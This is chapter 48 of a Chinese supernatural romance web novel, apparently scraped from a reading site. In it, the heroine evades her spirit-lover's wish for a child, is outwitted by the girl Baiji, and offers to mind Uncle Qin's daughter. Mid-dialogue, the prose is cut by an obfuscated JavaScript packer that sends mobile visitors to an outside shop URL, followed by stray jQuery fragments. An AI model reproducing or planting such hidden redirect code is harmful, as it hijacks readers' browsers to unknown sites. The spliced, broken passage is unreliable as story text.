48. 套路
    去哪能租个小孩给银清带带?

    最好穿着纸尿裤每隔两个小时就要喝奶,上树掏鸟窝,下水揍鲛人的那种。

    能让银清认识到人类幼崽是个多么邪恶的生物,他就不会缠着自己偷偷留种,带一段时间估计也会加入自己变成坚定的丁克党。

    张家民居内,安静地能清晰听到碾轮压过药槽的细响。

    淡薄日光从头顶洒下,入秋后的风略带凉意,卷着半黄不绿的叶片拂过灰黑瓦片,未等它停留片刻就将几片落叶吹下屋檐。

    花圈白布皆被收走,蛇皮袋里满满当当的草药倒出,从前院空地上一路铺入原本作为灵堂用的中堂里,连天井处都晒着刚收不久的植物。

    岑让川坐在矮椅上,费力地碾酸枣仁。

    她偷偷瞥向一旁在分辨新鲜草药的白芨,装作是闲聊问道:"诶,白芨,你觉得男人能不能怀孩子?"

    "你耳朵里的蛆钻脑子了?"白芨看也不看她,专心致志挑拣,手上全是泥土。

    因为常年劳作,她的手开裂出一道道小口子,看起来像干裂的树皮。

    死小孩说话真刻薄。

    岑让川心下吐槽,人在屋檐下又不得不低头。

    自从刘盈火化后她再也没见过红嫁衣,也再没回宅子,更没和银清联系。

    她算是多少摸清银清秉性,估摸着在镇子上熬上千年住疯了,导致性格有些偏执,他想要得到的必定会不择手段得到。

    岑让川想起银清说的那句。

    “我给你生一个女孩……”

    他好像是认真的……

    问题是,讨论怎么生之前怎么怀都是个问题。

    银清身体构造,两人做这么多次,衣服扒开后没什么不同,颜色比常人要浅的多算吗?

    何况……

    他究竟算是鬼还是树?

    她们之间,不该有生殖隔离这回事吗?

    物种都不同,哪怀的了?

    岑让川胡思乱想之际,把药槽里的酸枣仁碾地乱七八糟。

    她现在想回老宅又不敢回,生怕银清缠着自己做。

    要是做完第二天他坐在床边,怀里抱着根一米长着婴儿脸的树桩,散发着人夫光辉对自己说:"我给你生了个孩子。"

    怎么想怎么恶俗。

    她可没打算拍个内地版的《异形之夺命凶宅》。

    岑让川不禁打了个冷颤,碾得愈发卖力。

    一旁白芨收拾好草药便用蛇皮袋裹成一包离开。

    离开没多久,手里已经多了几包药。

    "喂,岑让川。"

    "叫姐!"死小孩没大没小。

    岑让川坐直身体,刚准备松松骨,眼前一道黑影飞来。

    药包沾染粉尘,在半空中划过一到黄灰色弧度,裹着浓郁药香砸进怀里,差点把她砸得翻下矮椅。

    她刚要发怒,望见那熟悉的桑纸和包扎麻绳的方式,心里的气顿时烟消云散。

    不过是初升高的小破孩子,跟人家生什么气。

    只是白芨太过早熟,导致自己总是把她当同龄人。

    "你该回去了。"白芨抬抬下巴,目光往下压,移向药包,“给你开的补肾益气,镇定安神的方子。分上午下午,一日两次,饭前喝。”

    “……再住几天不行吗?”

    家里有座神,神还会分裂。

    在没想到神现阶段要个孩子的要求该怎么应对之前,她实在不想回去……

    白芨想了想,点头:“行是行。但卖炒粉的阿姨前两天来看诊时说看到你表弟膝盖里长藤条了。我给她把脉,痰迷心窍、神志异常等等状况都没有。神智清明,头脑灵光,活到九十九不成问题。唯一的可能……”

    岑让川听到这已经汗流浃背,连忙站起,拍拍身上的药渣粉尘,强作镇定道:“确实在你家叨扰多日,我这就回去……回去……咳,这药我也会记得喝的。”

    “等等。”白芨叫住她,神情像抓住遗落在洞穴外的狐狸尾巴,透着股得意。她摘下灰扑扑的围兜,“我跟你回去。”

    不要啊!

    突击家访也没这样的啊!

    再说……

    “你跟我回去干什么!”说这话的岑让川已经大跨步爬上天井,仿佛背后有恶狗追击。

    她前脚刚迈出门槛,后脚衣摆就被两只手死死抓住。

    白芨死活要跟着她,恨不得把她衣服拽烂做布条,把自己捆她身上:“我要去见你表弟!他绝对有秘密!”

    “他没有!”

    “他有!”

    “他没有!”

    “他有!”

    ……

    白芨再弱小,到底是个快高一的孩子。

    重量不是盖的,差点没把岑让川扯走光。

    两人拉拉扯扯到门口阶梯下,两旁石狮子静静看她们,砸出凹陷圆球状的眼珠恰好是望向二人的位置。

    岑让川受不了了,主动问:“那你说,他有什么秘密?”

    “他不是人!”白芨笃定回答,见岑让川要说话,又加了一句,“我看我奶奶遗书了!你别想骗我!”

    “woc!”岑让川骂了句脏话,她心虚地左右看看,见没人才紧张地问,“你奶奶遗书写什么了?!”

    她第一次去中医馆,就是张奶奶接诊。

    银清又认识张奶奶,老人家去世前还留了封遗书给他,是以,岑让川丝毫不怀疑作为张奶奶收养的白芨会看到遗书内容。

    然而她想错了……

    白芨脸上露出七分狡黠三分阴险的笑:“果然被我猜中了!”

    岑让川这才反应过来,自己中计了……

    她就说她讨厌小孩不是没原因的!

    这死小孩吃什么长的?

    脑子这么聪明?

    回去的路上,岑让川一直在想这个问题。

    她盯着白芨瘦小的背影,发现白芨似乎脑袋比普通小孩的脑袋要大上一点?

    要不是手头没卷尺,她恨不得上去量一量白芨的头围是不是比某个男演员的头要大。

    她俩一前一后这么走在长巷里。

    青砖白墙。

    几日前,连绵不断的雨季让阳光晒不到的地方长出了青苔,点缀在青石板路面和布满霉斑的角落,新生长出的嫩青色与先前的青黑色斑驳在墙上,像层叠出的油画笔触。

    最为阴暗潮湿的缝隙中,依稀有几个白点冒出,圆鼓鼓的脑袋看似无害,实则有毒。

    就快出巷子时,迎面也走来一大一小。

    住院几日瘦削许多的秦叔推着轮椅正在艰难上坡,他的女儿苏明空用力在后边把他往前推。

    岑让川还没反应过来,白芨就已经上前帮忙。

    “秦叔,怎么不在医院多住几天?”白芨问,同时用膝盖轻轻把苏明空顶开,“你去前面。”

    苏明空听话地让开位置,跑到秦叔面前拉着他的手向前走。

    “俩小屁孩推得动吗?我来。”岑让川硬挤开白芨,轻轻松松推动秦叔,“回手机店还是回家?”

    “手机店,好几个老主顾说要来,反正我平时就是在店里坐着,只是换成轮椅而已。”秦叔和蔼笑道,“你俩怎么在一块?准备去哪?”

    “噢,我准备去让川姐那住几天。”白芨目光放到秦叔腿上,“骨折严重吗?”

    “还好,就是膝盖骨折。六周后去医院拆石膏。”秦叔说着,又问岑让川,“我在医院听说,你、严森、白芨都住院了是怎么回事?”

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286016|145178||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ……”岑让川现在最不想提的就是这件事,支支吾吾的,最后也只是含糊一句“等警方通报吧”带过。

    白芨没顾忌,她又没犯法。也没跟严森岑让川上山开棺材,差点给自己弄个侮辱尸体罪。

    整件事情经过最无辜的就是她。

    当秦叔听到刘庆远父亲头颅掉下来,尸身早已腐烂时他若有所思:“这是不是巫术?我小时候听我太爷爷说过,县志也有记载。”

    岑让川来了兴趣:“县志在哪?”

    “镇子西边有个小博物馆,说是博物馆,就是小破屋。你只要问一嘴放书的老屋子在哪,镇上的人就都知道该把你往哪引了。”

    “好,我有空一定去。”

    她们凑在一块七嘴八舌说着话,不过一会儿就把秦叔送进手机店。

    柜台内通道狭窄,并不便于转身。

    秦叔只好用拐杖把自己送进去工作台。

    岑让川没想到他现在还惦记着自己那台小破机,愣了愣之后把自己手机掏出来给他修理。

    白芨捡起地上一根水红色塑料绳,拉着苏明空走到门外台阶下玩翻花绳,两个身影窝在一块,投下的阴影就跟两坨小蘑菇似的。

    秦叔扫了眼,边把手机后壳拆开边说:“张奶奶也是好福气,捡到了白芨。我就闹不明白,现在这社会还有重男轻女的,闺女多好啊,比那些臭烘烘的小男孩好多了。再带一年,明空也要上幼儿园。那个时候,我就轻松多了……”

    他絮絮叨叨说了许多。

    比如镇子上的幼儿园最低也要六百块一个月。

    比如明空长得太快,每隔一段时间就要给她买衣服。

    又比如,他攒下许多钱想把自己女儿送到镇子外的大学好好读书,别像他这样死守着一个手机店。

    最好是能像岑让川这样,有个技术手艺,这样子这辈子都不愁吃喝。

    不过修手机就别干了,近视、脊椎病、化学腐蚀等等毛病。

    会一行苦一行,他不希望她再走自己老路。

    一字一句,都透着老父亲对女儿的殷切期望。

    岑让川笑笑:“那她要是再有本事点,出国留学了怎么办?”

    “那很好啊,外边天地广阔,让她多出去看看嘛。不要把孩子绑在身边,是我老婆经常说的,哎哟,你这个手机又泡水啦?”秦叔带上手套,仔细修理,“不好弄,你啊,爱惜点手机嘛。现在赚钱不容易,真要三天换一套啊?”

    岑让川思绪已经飘远,她不由想到刘缔。

    晃神间,秦叔又唠叨好多话。

    像编织出的一场梦,环绕在店内三个人生轨迹各不同的女孩身上。

    好不容易修完,已经是一个小时后的事。

    已经到正午,该吃午饭的时候。

    特产店婶子的老公听说秦叔回来了,考虑到他现在骨折又带着女儿,刻意过来给他送饭。

    岑让川看了眼在秦叔身边咀嚼白米饭的苏明空,又看了看秦叔打石膏的腿,鼓起勇气说:“秦叔,我帮你带一阵子明空吧?你也知道,我虽然副业是搞风水的,但我主业搞玉雕,平时有空。早上我十点左右过来接她,晚上就把明空送回来怎么样?”

    “啊?”秦叔愣住,没想到她会提出来帮自己带女儿。

    “那个……我知道您骨折的原因了……”

    老宅外。

    等了岑让川五天的银清扯掉从伤口处长出的白果,丢进桥下河里。

    他静静望着那片涟漪出神。

    片刻后,他听到不远处炒粉阿姨的声音响起。

    “唉呀!让川回来了啊!”

    银清蓦地回神,转过身去。

    当看到岑让川身边带着一个,怀里还抱着一个时,他沉默了。